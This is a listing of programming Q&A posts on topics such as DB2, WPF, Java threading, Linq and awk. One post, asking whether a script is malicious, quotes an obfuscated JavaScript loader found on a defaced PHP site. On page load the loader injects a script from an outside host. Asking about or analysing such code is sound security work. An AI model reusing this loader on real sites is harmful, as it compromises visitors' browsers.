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  • Unable to allocate new pages in table space "XXXX" ... but it's 250 megs and I'm only running DDL

    - by Sylvia
    Hello, I'm a DB2 newbie, so I'd appreciate even any pointers on where to start looking. We have great DB2 admins but they're swamped with other issues now, so I'm trying to do some troubleshooting on a development database. My situation is that I have a tablespace that's giving me this error message Unable to allocate new pages in table space "[MyTableSpace]". However, all I'm doing is running multiple (hundreds) of DDL statements, mainly creating tables but also indexes and pk scripts. So, considering that the tablespace has about 250 mg, I shouldn't be running out of space, right? Here's another thing - it appears that after I leave my script for a while, something "resets" and works for a while, then I begin to have the tablespace issue again. thanks, Sylvia

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  • How can I use data binding in WPF to create a new user control for each element in a list?

    - by Joel
    I have a list of objects. For each item in the list, I want to create a new user control bound to that item. From what I've read, doing this programmatically is bad practice with WPF (as well as less than straightforward), so I should use data binding as a solution instead. The problem is, I can't figure out how to do this. I don't know the contents of the list (just the type) at compile-time, so I can't create and bind with XAML for each element. Google and MSDN don't seem to have any answers, so maybe I'm thinking about this the wrong way? What do I need to do? Thanks

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  • Font Times New Roman 11,25 Regular is not supported in telerik reporting.

    - by Tio
    Hi all.. I'm having some trouble exporting to PDF in Telerik Reporting Q2 2008. It seems that for some reason, exporting to PDF ( or printing, which is the same, it first exports to PDF, and then prints ), is giving me this error. First it started with Arial, I found the bug with the font Arial, replaced the textbox with Times New Roman, and it keeps on giving me this error. The strange thing, is that this only happens on the production server ( Windows Server 2008 ), on my development machine, this works flawlessly, I even tried to copy the fonts from my windows font folder, to my production server, but that didn't help anything... Does someone know what is happening? EDIT: Problem solved...a server reboot solved the problem instantly, unfortunately at the time I posted this question I couldn't do a server restart, later that day ( at night ) my boss restarted the server and all was good again.. Thanks all..

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  • How to retrieve only updated/new records since the last query in SQL?

    - by William Choi
    Hi all, I was asked to design a class for caching SQL query results. Calling the class' query method will query and cache the entire set of results at the first time; afterward, each subsequence query will retrieve only the updated portion, and will merge the result into the cache. If the class is required to be generic, i.e. NO knowledge about the db and the tables, do you have any idea? Is it possible, and how to retrieve only updated/new records since the last query? Thanks! William

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  • TabWidget Activity Handling - Does it Create a New Activity EVERY Time?

    - by stormin986
    When a TabWidget is using intents to designate the target Activity for each tab, is there any special handling of those Activities on the Activity Stack outside of the default operation? For Instance, if my app has tabs A, B, and C, and I click them in this order––A, B, A, C, A, B––how will the Activity stack change? My understanding of the default operation, if startActivity() is called each time on the intent, would have the Stack keep loading up new instances of the activities: A, AB, ABA, ABAC, ABACA, ABACAB It's hard to believe that's how it works though... Seems like it would be a waste of resources and could be endless. Can anyone tell me how this will actually work?

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  • What stack would you use for a new web Java project if you started today?

    - by Joelio
    If you were to start a brand new java project today with the following requirements: high scale (20k + users) you want to use something that is fairly mature (not changing dramatically) & wont be dead technology in 3 years you want something very productive (no server restarts in dev, save the code and its automatically compiled and deployed), productivity and time to market are key. some amount of ajax on front end no scripting language, jruby, groovy, php etc , has to be java has to support i8n What stack would you use & Why? (when I say stack, I mean, everything soup to nuts, so app server, mvc framework, bean framework, ORM framework, javascript framework etc...)

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  • Thread not behaving correctly

    - by ivor
    Hello, I wonder if anyone can help me to understand where I could be going wrong with this code; Basically I'm working on a turorial and calling the class below from another class - and it is getting the following error; Exception in thread "Thread-1" java.lang.NullPointerException at org.newdawn.spaceinvaders.TCPChat.run(TCPChat.java:322) at java.lang.Thread.run(Unknown Source) I realise the error is beibg flagged in another class- but I have tested the other class with a small class which sets up a separate thread - and it works fine, but as soon as I try and implement a new thread in this class - it causes all sorts of problems. Am I setting up the thread correctly in this class? Basically I can set up a thread in this class, with a test loop and it's fine, but when I bring in the functionality of the rest of the game it sometimes hangs, or does not display at all. Any suggestions on where I could be going wrong would be greatly appreciated. Thanks for looking. package org.newdawn.spaceinvaders; import java.awt.BorderLayout; import java.awt.Canvas; import java.awt.Color; import java.awt.Dimension; import java.awt.FlowLayout; import java.awt.Graphics2D; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import java.awt.image.BufferStrategy; import java.util.ArrayList; import java.util.Scanner; import java.awt.*;//maybe not needed import javax.swing.*;//maybenot needed import java.util.Random; //import java.io.*; /** * The main hook of our game. This class with both act as a manager * for the display and central mediator for the game logic. * * Display management will consist of a loop that cycles round all * entities in the game asking them to move and then drawing them * in the appropriate place. With the help of an inner class it * will also allow the player to control the main ship. * * As a mediator it will be informed when entities within our game * detect events (e.g. alient killed, played died) and will take * appropriate game actions. * * @author Kevin Glass */ public class Game extends Canvas implements Runnable{ /** The stragey that allows us to use accelerate page flipping */ private BufferStrategy strategy; /** True if the game is currently "running", i.e. the game loop is looping */ private boolean gameRunning = true; /** The list of all the entities that exist in our game */ private ArrayList entities = new ArrayList(); /** The list of entities that need to be removed from the game this loop */ private ArrayList removeList = new ArrayList(); /** The entity representing the player */ private Entity ship; /** The speed at which the player's ship should move (pixels/sec) */ private double moveSpeed = 300; /** The time at which last fired a shot */ private long lastFire = 0; /** The interval between our players shot (ms) */ private long firingInterval = 500; /** The number of aliens left on the screen */ private int alienCount; /** The number of levels progressed */ private double levelCount; /** high score for the user */ private int highScore; /** high score for the user */ private String player = "bob"; //private GetUserInput getPlayer; /** The list of entities that need to be removed from the game this loop */ /** The message to display which waiting for a key press */ private String message = ""; /** True if we're holding up game play until a key has been pressed */ private boolean waitingForKeyPress = true; /** True if the left cursor key is currently pressed */ private boolean leftPressed = false; /** True if the right cursor key is currently pressed */ private boolean rightPressed = false; /** True if we are firing */ private boolean firePressed = false; /** True if game logic needs to be applied this loop, normally as a result of a game event */ private boolean logicRequiredThisLoop = false; //private Thread cThread = new Thread(this); //public Thread t = new Thread(this); //private Thread g = new Thread(this); void setHighscore(int setHS) { highScore = setHS; } public int getHighscore() { return highScore; } public void setPlayer(String setPlayer) { player = setPlayer; } public String getPlayer() { return player; } public void run() { //setup(); System.out.println("hello im running bob"); /*int count = 1; do { System.out.println("Count is: " + count); count++; try{Thread.sleep(1);} catch(InterruptedException e){} } while (count <= 2000000);*/ //Game g =new Game(); //Game g = this; // Start the main game loop, note: this method will not // return until the game has finished running. Hence we are // using the actual main thread to run the game. //setup(); //this.gameLoop(); //try{thread.sleep(1);} //catch{InterruptedException e} } /** * Construct our game and set it running. */ public Game () { //Thread t = new Thread(this);//set up new thread for invaders game //t.run();//run the run method of the game //Game g =new Game(); //setup(); //Thread t = new Thread(this); //thread.start(); //SwingUtilities.invokeLater(this); Thread er = new Thread(this); er.start(); } public void setup(){ //initialise highscore setHighscore(0); // create a frame to contain our game JFrame container = new JFrame("Space Invaders 101"); // get hold the content of the frame and set up the resolution of the game JPanel panel = (JPanel) container.getContentPane(); panel.setPreferredSize(new Dimension(800,600)); //panel.setLayout(null); // setup our canvas size and put it into the content of the frame setBounds(0,0,800,600); panel.add(this); // Tell AWT not to bother repainting our canvas since we're // going to do that our self in accelerated mode setIgnoreRepaint(true); // finally make the window visible container.pack(); container.setResizable(false); container.setVisible(true); // add a listener to respond to the user closing the window. If they // do we'd like to exit the game container.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent e) { //cThread.interrupt(); System.exit(0); } }); // add a key input system (defined below) to our canvas // so we can respond to key pressed addKeyListener(new KeyInputHandler()); // request the focus so key events come to us requestFocus(); // create the buffering strategy which will allow AWT // to manage our accelerated graphics createBufferStrategy(2); strategy = getBufferStrategy(); // initialise the entities in our game so there's something // to see at startup initEntities(); } /** * Start a fresh game, this should clear out any old data and * create a new set. */ private void startGame() { // clear out any existing entities and intialise a new set entities.clear(); initEntities(); //initialise highscore setHighscore(0); // blank out any keyboard settings we might currently have leftPressed = false; rightPressed = false; firePressed = false; } /** * Initialise the starting state of the entities (ship and aliens). Each * entitiy will be added to the overall list of entities in the game. */ //private void initEntities() { public void initEntities() { Random randomAlien = new Random(); // create the player ship and place it roughly in the center of the screen //ship = new ShipEntity(this,"sprites/ship.gif",370,550);//orignal ship = new ShipEntity(this,"sprites/ship.gif",700,300);//changed postioning to right hand side entities.add(ship); // create a block of aliens (5 rows, by 12 aliens, spaced evenly) alienCount = 0; levelCount = 1.02; for (int row=0;row<7;row++) {//altered number of rows for (int x=0;x<5;x++) { int r = randomAlien.nextInt(100);//loop added to produce random aliens if (r < 50){ //Entity alien = new AlienEntity(this,"sprites/alien.gif",/*100+*/(x*50),(50)+row*30); Entity alien = new AlienEntity(this,"sprites/alien.gif",100+(x*90),(12)+row*85); entities.add(alien); alienCount++; } } } } //private void initEntities() { public void initAlienEntities() { Random randomAlien = new Random(); // create the player ship and place it roughly in the center of the screen //ship = new ShipEntity(this,"sprites/ship.gif",370,550);//orignal //ship = new ShipEntity(this,"sprites/ship.gif",700,300);//changed postioning to right hand side //entities.add(ship); // create a block of aliens (5 rows, by 12 aliens, spaced evenly) alienCount = 0; levelCount = levelCount + 0.10;//this increases the speed on every level for (int row=0;row<7;row++) {//altered number of rows for (int x=0;x<5;x++) { int r = randomAlien.nextInt(100);//loop added to produce random aliens if (r < 50){//randome check to show alien //Entity alien = new AlienEntity(this,"sprites/alien.gif",/*100+*/(x*50),(50)+row*30); Entity alien = new AlienEntity(this,"sprites/alien.gif",-250+(x*90),(12)+row*85); entities.add(alien); alienCount++; } } } advanceAlienSpeed(levelCount); } /** * Notification from a game entity that the logic of the game * should be run at the next opportunity (normally as a result of some * game event) */ public void updateLogic() { logicRequiredThisLoop = true; } /** * Remove an entity from the game. The entity removed will * no longer move or be drawn. * * @param entity The entity that should be removed */ public void removeEntity(Entity entity) { removeList.add(entity); } /** * Notification that the player has died. */ public void notifyDeath() { message = "Oh no! They got you, try again?"; waitingForKeyPress = true; } /** * Notification that the player has won since all the aliens * are dead. */ public void notifyWin() { message = "Well done! You Win!"; waitingForKeyPress = true; } /** * Notification that an alien has been killed */ public void notifyAlienKilled() { // reduce the alient count, if there are none left, the player has won! alienCount--; if (alienCount == 0) { //notifyWin();win not relevant here... this.initAlienEntities();//call fresh batch of aliens } // if there are still some aliens left then they all need to get faster, so // speed up all the existing aliens advanceAlienSpeed(1.30); } public void advanceAlienSpeed(double speed) { // if there are still some aliens left then they all need to get faster, so // speed up all the existing aliens for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); if (entity instanceof AlienEntity) { // speed up by 2% entity.setHorizontalMovement(entity.getHorizontalMovement() * speed); //entity.setVerticalMovement(entity.getVerticalMovement() * 1.02); } } } /** * Attempt to fire a shot from the player. Its called "try" * since we must first check that the player can fire at this * point, i.e. has he/she waited long enough between shots */ public void tryToFire() { // check that we have waiting long enough to fire if (System.currentTimeMillis() - lastFire < firingInterval) { return; } // if we waited long enough, create the shot entity, and record the time. lastFire = System.currentTimeMillis(); ShotEntity shot = new ShotEntity(this,"sprites/shot.gif",ship.getX()+10,ship.getY()-30); entities.add(shot); } /** * The main game loop. This loop is running during all game * play as is responsible for the following activities: * <p> * - Working out the speed of the game loop to update moves * - Moving the game entities * - Drawing the screen contents (entities, text) * - Updating game events * - Checking Input * <p> */ public void gameLoop() { long lastLoopTime = System.currentTimeMillis(); // keep looping round til the game ends while (gameRunning) { // work out how long its been since the last update, this // will be used to calculate how far the entities should // move this loop long delta = System.currentTimeMillis() - lastLoopTime; lastLoopTime = System.currentTimeMillis(); // Get hold of a graphics context for the accelerated // surface and blank it out Graphics2D g = (Graphics2D) strategy.getDrawGraphics(); g.setColor(Color.black); g.fillRect(0,0,800,600); // cycle round asking each entity to move itself if (!waitingForKeyPress) { for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); entity.move(delta); } } // cycle round drawing all the entities we have in the game for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); entity.draw(g); } // brute force collisions, compare every entity against // every other entity. If any of them collide notify // both entities that the collision has occured for (int p=0;p<entities.size();p++) { for (int s=p+1;s<entities.size();s++) { Entity me = (Entity) entities.get(p); Entity him = (Entity) entities.get(s); if (me.collidesWith(him)) { me.collidedWith(him); him.collidedWith(me); } } } // remove any entity that has been marked for clear up entities.removeAll(removeList); removeList.clear(); // if a game event has indicated that game logic should // be resolved, cycle round every entity requesting that // their personal logic should be considered. if (logicRequiredThisLoop) { //g.drawString("Press any key",(800-g.getFontMetrics().stringWidth("Press any key"))/2,300); for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); entity.doLogic(); } logicRequiredThisLoop = false; } // if we're waiting for an "any key" press then draw the // current message //show highscore at top of screen //show name at top of screen g.setColor(Color.white); g.drawString("Player : "+getPlayer()+" : Score : "+getHighscore(),20,20); if (waitingForKeyPress) { g.setColor(Color.white); g.drawString(message,(800-g.getFontMetrics().stringWidth(message))/2,250); g.drawString("Press any key",(800-g.getFontMetrics().stringWidth("Press any key"))/2,300); } // finally, we've completed drawing so clear up the graphics // and flip the buffer over g.dispose(); strategy.show(); // resolve the movement of the ship. First assume the ship // isn't moving. If either cursor key is pressed then // update the movement appropraitely ship.setVerticalMovement(0);//set to vertical movement if ((leftPressed) && (!rightPressed)) { ship.setVerticalMovement(-moveSpeed);//**took out setHorizaontalMOvement } else if ((rightPressed) && (!leftPressed)) { ship.setVerticalMovement(moveSpeed);//**took out setHorizaontalMOvement } // if we're pressing fire, attempt to fire if (firePressed) { tryToFire(); } // finally pause for a bit. Note: this should run us at about // 100 fps but on windows this might vary each loop due to // a bad implementation of timer try { Thread.sleep(10); } catch (Exception e) {} } } /** * A class to handle keyboard input from the user. The class * handles both dynamic input during game play, i.e. left/right * and shoot, and more static type input (i.e. press any key to * continue) * * This has been implemented as an inner class more through * habbit then anything else. Its perfectly normal to implement * this as seperate class if slight less convienient. * * @author Kevin Glass */ private class KeyInputHandler extends KeyAdapter { /** The number of key presses we've had while waiting for an "any key" press */ private int pressCount = 1; /** * Notification from AWT that a key has been pressed. Note that * a key being pressed is equal to being pushed down but *NOT* * released. Thats where keyTyped() comes in. * * @param e The details of the key that was pressed */ public void keyPressed(KeyEvent e) { // if we're waiting for an "any key" typed then we don't // want to do anything with just a "press" if (waitingForKeyPress) { return; } // if (e.getKeyCode() == KeyEvent.VK_LEFT) { ////leftPressed = true; ///} //// if (e.getKeyCode() == KeyEvent.VK_RIGHT) { //rightPressed = true; if (e.getKeyCode() == KeyEvent.VK_UP) { leftPressed = true; } if (e.getKeyCode() == KeyEvent.VK_DOWN) { rightPressed = true; } if (e.getKeyCode() == KeyEvent.VK_SPACE) { firePressed = true; } } /** * Notification from AWT that a key has been released. * * @param e The details of the key that was released */ public void keyReleased(KeyEvent e) { // if we're waiting for an "any key" typed then we don't // want to do anything with just a "released" if (waitingForKeyPress) { return; } if (e.getKeyCode() == KeyEvent.VK_UP) {//changed from VK_LEFT leftPressed = false; } if (e.getKeyCode() == KeyEvent.VK_DOWN) {//changed from VK_RIGHT rightPressed = false; } if (e.getKeyCode() == KeyEvent.VK_SPACE) { firePressed = false; } } /** * Notification from AWT that a key has been typed. Note that * typing a key means to both press and then release it. * * @param e The details of the key that was typed. */ public void keyTyped(KeyEvent e) { // if we're waiting for a "any key" type then // check if we've recieved any recently. We may // have had a keyType() event from the user releasing // the shoot or move keys, hence the use of the "pressCount" // counter. if (waitingForKeyPress) { if (pressCount == 1) { // since we've now recieved our key typed // event we can mark it as such and start // our new game waitingForKeyPress = false; startGame(); pressCount = 0; } else { pressCount++; } } // if we hit escape, then quit the game if (e.getKeyChar() == 27) { //cThread.interrupt(); System.exit(0); } } } /** * The entry point into the game. We'll simply create an * instance of class which will start the display and game * loop. * * @param argv The arguments that are passed into our game */ //public static void main(String argv[]) { //Game g =new Game(); // Start the main game loop, note: this method will not // return until the game has finished running. Hence we are // using the actual main thread to run the game. //g.gameLoop(); //} }

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  • Epoch is not epoch if do a new Date(0L). Why ?

    - by Antoine Claval
    My problem is pretty straigtforward explained : if i do this : public class Main { public static void main(String[] args) throws Exception { Date d = new Date(0L ); System.out.println(d); } } I get the following output : Thu Jan 01 01:00:00 CET 1970 According to the doc, i was expecting : Thu Jan 01 00:00:00 CET 1970 I would like was going wrong... EDIT : Indeed, i read the doc too fast. I sould have Thu Jan 01 00:00:00 GMT 1970 So, how can i force the use of GMT, and ignore all local time ?

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  • Can the behaviour of new HTML5 form types be overridden?

    - by Mark Perkins
    I was wondering if anyone knew if it were possible to override the default behaviour of browsers that support the new HTML input types such as type="email" and type="date"? I appreciate that I could test if a browser supports an input type and provide a fallback for those browsers that don't, but what I want to know is is there any way to prevent that default behaviour from happening in browsers that do support it? For instance, if in Opera I want to use the date input type, but I don't want Opera to display the native datepicker (i.e. I want to replace it with my own custom one) is that possible? Are there any DOM events triggered like onDatePickerShow that one can hook into? I don't believe that this is possible, but if anyone knows for sure one way or the other I would love to hear from you.

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  • Is it possible to create a new T-SQL Operator using CLR Code in SQL Server?

    - by Eoin Campbell
    I have a very simple CLR Function for doing Regex Matching public static SqlBoolean RegExMatch(SqlString input, SqlString pattern) { if (input.IsNull || pattern.IsNull) return SqlBoolean.False; return Regex.IsMatch(input.Value, pattern.Value, RegexOptions.IgnoreCase); } It allows me to write a SQL Statement Like. SELECT * FROM dbo.table1 WHERE dbo.RegexMatch(column1, '[0-9][A-Z]') = 1 -- match entries in col1 like 1A, 2B etc... I'm just thinking it would be nice to reformulate that query so it could be called like SELECT * FROM dbo.table1 WHERE column1 REGEXLIKE '[0-9][A-Z]' Is it possible to create new comparison operators using CLR Code. (I'm guessing from my brief glance around the web that the answer is NO, but no harm asking)

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  • What does this script do? Is it malicious?

    - by ramdaz
    This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

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  • PHP mtChart (new pChart): how do i control the angle of x-axis labels?

    - by gsquare567
    i am trying to graph the results of a survey, where the question is multiple choice. eg. How would you describe this website? format: option | number of times selected | percentage of users who selected that option Informative 1 50% All of the above 1 50% Interesting 0 0% Intelligent 0 0% Cool 0 0% Incredible 0 0% Sleek 0 0% Amazing the graph is a bar graph, where each bar represents one of those options, and the height of the bar depends on the number of times selected. however, the labels are slanted at a 45 degree angle and are barely readable! here is my code: <?php require_once ("includes/common.php"); require_once ("graph/mtChart.min.php"); // type must be specified $type = $_GET['type']; if($type == "surveys_report_MC_or_CB") { // PARAMS $surveyID = $_GET['surveyID']; $questionID = $_GET['questionID']; // END PARAMS $question = SurveyQuestions::getSingle($questionID); $answers = SurveyAnswers::getAll($questionID); $options = SurveyQuestionOptions::getAll($question[SurveyQuestions::surveyQuestionID]); $others = SurveyAnswers::setOptionCounts($options, $answers); $printedOthers = false; // set graph $values = array(); $axisLabels = array(); foreach($options as $option) { $values[$option[SurveyQuestionOptions::optionText]] = $option['count']; $axisLabels[] = $option[SurveyQuestionOptions::optionText]; } $graphs = array(); $graphs[0] = $values; $xName = "Option"; $yName = "Number of Times Selected"; $graphTitle = $question[SurveyQuestions::question]; $series = array("Total"); $showLegend = false; $tall = false; } drawGraph($graphs, $axisLabels, $xName, $yName, $graphTitle, $series, $showLegend, $tall); function drawGraph($graphs, $axisLabels, $xName, $yName, $graphTitle, $series, $showLegend, $tall) { $Graph = ($tall) ? new mtChart(575,375) : new mtChart(575,275); // Dataset definition $avg = 0; $i = 0; foreach ($graphs as $key => $value) { $Graph->AddPoint($value,"series" . $key); $Graph->SetSerieName($series[$key],"series" . $key); // Get average $avg += array_sum($value); $size = sizeof($value); $i += $size; // Calculate x-axis tick interval $step = ceil($size / 25); } $Graph->AddPoint($axisLabels,"XLabel"); $Graph->AddAllSeries(); $Graph->RemoveSerie("XLabel"); $Graph->SetAbsciseLabelSerie("XLabel"); $Graph->SetXAxisName($xName); $Graph->SetYAxisName($yName); // Get from cache if it exists $Graph->enableCaching(NULL, 'graph/cache/'); $Graph->GetFromCache(); // Initialize the graph $Graph->setInterval($step); $Graph->setFontProperties("graph/tahoma.ttf",8); ($showLegend) ? $Graph->setGraphArea(45,30,475,200) : $Graph->setGraphArea(75,30,505,200); $Graph->drawGraphArea(255,255,255,TRUE); $Graph->drawScale(SCALE_START0,100,100,100,TRUE,55,1,TRUE); $Graph->drawGrid(4,TRUE,230,230,230,50); // Draw the 0 line $Graph->setFontProperties("graph/tahoma.ttf",6); $Graph->drawTreshold(0,143,55,72,TRUE,TRUE); // Draw the bar graph $Graph->drawBarGraph(); // Draw average line $Graph->drawTreshold($avg/$i, 0, 0, 0, FALSE, FALSE, 5); // Finish the graph $Graph->setFontProperties("graph/tahoma.ttf",8); if ($showLegend) { $Graph->drawLegend(482,30,255,255,255,255,255,255,100,100,100); } $Graph->setFontProperties("graph/tahoma.ttf",10); $Graph->drawTitle(0,22,$graphTitle,100,100,100,555); // Draw Graph $Graph->Stroke(); } and here is where i use it on the page: <div class="graph_container"> <img src="drawGraph.php?type=surveys_report_MC_or_CB&surveyID=<?php echo $survey[Surveys::surveyID] ?>&questionID=<?php echo $question[SurveyQuestions::surveyQuestionID] ?>" /> is there a setting i can apply to the graph which will make the text look nicer, or at least let me set the angle to 90 degrees so people can read it if they cock their head to the left? thanks! btw, mtchart is located here: http://code.google.com/p/mtchart/ and pchart (the original, which has mainly the same code) is here: http://pchart.sourceforge.net/documentation.php

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  • Linq duplicate removal with a twist

    - by Danthar
    I got a list that contains al the status items of each order. The problem that i have is that i need to remove all the items of which the status - logdate combination is not the highest. e.g var inputs = new List<StatusItem>(); //note that the 3th id is simply a modifier that adds that amount of secs //to the current datetime, to make testing easier inputs.Add(new StatusItem(123, 30, 1)); inputs.Add(new StatusItem(123, 40, 2)); inputs.Add(new StatusItem(123, 50, 3)); inputs.Add(new StatusItem(123, 40, 4)); inputs.Add(new StatusItem(123, 50, 5)); inputs.Add(new StatusItem(100, 20, 6)); inputs.Add(new StatusItem(100, 30, 7)); inputs.Add(new StatusItem(100, 20, 8)); inputs.Add(new StatusItem(100, 30, 9)); inputs.Add(new StatusItem(100, 40, 10)); inputs.Add(new StatusItem(100, 50, 11)); inputs.Add(new StatusItem(100, 40, 12)); var l = from i in inputs group i by i.internalId into cg select from s in cg group s by s.statusId into sg select sg.OrderByDescending(n => n.date).First() ; This creates a list that returnes me the following: order 123 status 30 date 4/9/2010 6:44:21 PM order 123 status 40 date 4/9/2010 6:44:24 PM order 123 status 50 date 4/9/2010 6:44:25 PM order 100 status 20 date 4/9/2010 6:44:28 PM order 100 status 30 date 4/9/2010 6:44:29 PM order 100 status 40 date 4/9/2010 6:44:32 PM order 100 status 50 date 4/9/2010 6:44:31 PM This is ALMOST correct. However that last line which has status 50 needs to be filtered out as well because it was overruled by status 40 in the historylist. U can tell by the fact that its date is lower then the "last" status-item with the status 40. I was hoping someone could give me some pointers because im stuck.

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  • url with question mark considered as new http request?

    - by Navin Leon
    I am optimization my web page by implementing caching, so if I want the browser not to take data from cache, then I will append a dynamic number as query value. eg: google.com?val=823746 But some time, if I want to bring data from cache for the below url, the browser is making a new http request to server, its not taking data from cache. Is that because of the question mark in URL ? eg: http://google.com? Please provide some reference document link. Thanks in advance. Regards, Navin

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  • How to load new movie with preserved position from previous movie?

    - by ITmeze
    Hi, I am serving movie via JW player. I need to provide functionality to change quality of the movie. Each quality has different url. I need a javascript that loads new movie and moves to last position within clip. Example: User is watching a movie in low quality (http://test.com/play?id=1&qual=low) and is currently at position 00:30:15. User presses button requesting medium quality 'http://test.com/play?id=1&qual=medium' and sees movie starting from position from low quality (http://test.com/play?id=1&qual=low)

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  • SmtpClient.SendAsync(); Not working on my new (64bit) computer.

    - by j-t-s
    Hi All, Okay, Only a couple weeks ago I had an old 32bit computer, but had to buy a new computer, which happens to be 64bit. I've rewritten the method that sends e-mails asynchonously and it just does not work. And does NOT throw any exceptions either. What gives? I have also tried the Async method code found iin MSDN, and the BlackWasp tutorial code, and MANY others. They're all the same! The only difference here seems to be the fact that I'm now on a 64bit computer. How can I get around this? Google/MSDN has been of zero help. Thanks

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  • Is it possible to create a new T-SQL Operator using CLR Code in MSSQL?

    - by Eoin Campbell
    I have a very simple CLR Function for doing Regex Matching public static SqlBoolean RegExMatch(SqlString input, SqlString pattern) { if (input.IsNull || pattern.IsNull) return SqlBoolean.False; return Regex.IsMatch(input.Value, pattern.Value, RegexOptions.IgnoreCase); } It allows me to write a SQL Statement Like. SELECT * FROM dbo.table1 WHERE dbo.RegexMatch(column1, '[0-9][A-Z]') = 1 -- match entries in col1 like 1A, 2B etc... I'm just thinking it would be nice to reformulate that query so it could be called like SELECT * FROM dbo.table1 WHERE column1 REGEXLIKE '[0-9][A-Z]' Is it possible to create new comparison operators using CLR Code. (I'm guessing from my brief glance around the web that the answer is NO, but no harm asking) Thanks, Eoin C

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  • ASP.Net & 960.gs Integrating the .css files into a new project.

    - by Baxter
    I've got a full layout designed using 960.gs and am wanting to use it in a ASP.net website but i'm getting warnings such as: "Warning File 'css/Reset.css' was not found." "Warning File 'css/Text.css' was not found." "Warning File 'css/960.css' was not found." "Warning File 'css/Base.css' was not found." I've tried adding a new similarly named folder to the solution explorer and 'add existing item' to add them in but it still seems to cause warnings and intelisense isn't recognising any of the 960.gs classes. Is there a recommended workflow for importing all of this in? I should add that it works perfectly well on the local development server and on the webspace, it's seemingly just VS that's complaining.

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  • Parsing the first column of a csv file to a new file.

    - by S1syphus
    Operating System: OSX Method: From the command line, so using sed, cut, gawk, although preferably no installing modules. Essentially I am trying to take the first column of a csv file and parse it to a new file. Example input file EXAMPLEfoo,60,6 EXAMPLEbar,30,6 EXAMPLE1,60,3 EXAMPLE2,120,6 EXAMPLE3,60,6 EXAMPLE4,30,6 Desire output EXAMPLEfoo EXAMPLEbar EXAMPLE1 EXAMPLE2 EXAMPLE3 EXAMPLE4 So I want the first column. Here is what I have tried so far: awk -F"," '{print $1}' in.csv > out.txt awk -F"," '{for (i=2;i<=NF;i++)}' in.csv > out.txt awk -F"," 'BEGIN { OFS="," }' '{print $1}' in.csv > out.txt cat in.csv | cut -d \, -f 1 > out.txt None seem to work, either they just print the first line or nothing at all, so I would assume it's failing to read line by line.

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  • How to enforce remote gnupg signing of Mercurial repository only when new tags are created?

    - by Tim Post
    I know how to configure the Mercurial signing extension. The problem that I'm having is that I don't want to sign each individual change set, I only want to sign revisions that introduce new version tags. That's easily accomplished locally, however I can't come up with a way to enforce this on the remote server. I'd like people to continue to be able to push their changes as normal, unless adding a release tag, which should be accompanied by a signature. The end result should be that anyone cloning our repository can easily see a list of signed revisions, which point to a list of signed releases. Hopefully, I've just missed something obvious in hooklib. Has anyone else accomplished this, if so, how?

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  • can I run new WP_Query inside the Loop with no affects to the Loop? (wordpress)

    - by Radek
    the bellow function is working fine but I need to run it inside the loop. If done so the post content is actually taken from the last post of my WP_Query. Not from the one that should appear. Is there any way to run my query and leave The Loop unaffected? function recent_post_by_author() { echo '<div class="recent_post_by_author">'; $my_query = new WP_Query('author_name=Radek&showposts=2'); while ($my_query->have_posts()) : $my_query->the_post(); ?> <a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"> <?php the_title(); ?></a><BR> <?php endwhile; echo '</div>'; }

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  • How to integrate Facebook the new Graph Api with Authlogic in Ruby on Rails?

    - by amrnt
    I've began with a new project using Authlogic system for Authorization. And I'm now wondering how could I connect Facebook oAuth sessions with my Authlogic session! First of all I want to use and Authlogic-oAuth Gems/Plugins, I what I want to use are just http://github.com/intridea/oauth2 and the interesting http://github.com/nsanta/fbgraph and associate them all with Authlogic. I tried using Authlogic with authlogic-connect extension, but It didnt fill up my needs. And I think the three of the amazing gems above togother will make things done in quality and as I want. Thanks in advance.

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  • How can I create a new email account in Java?

    - by Jeremy Goodell
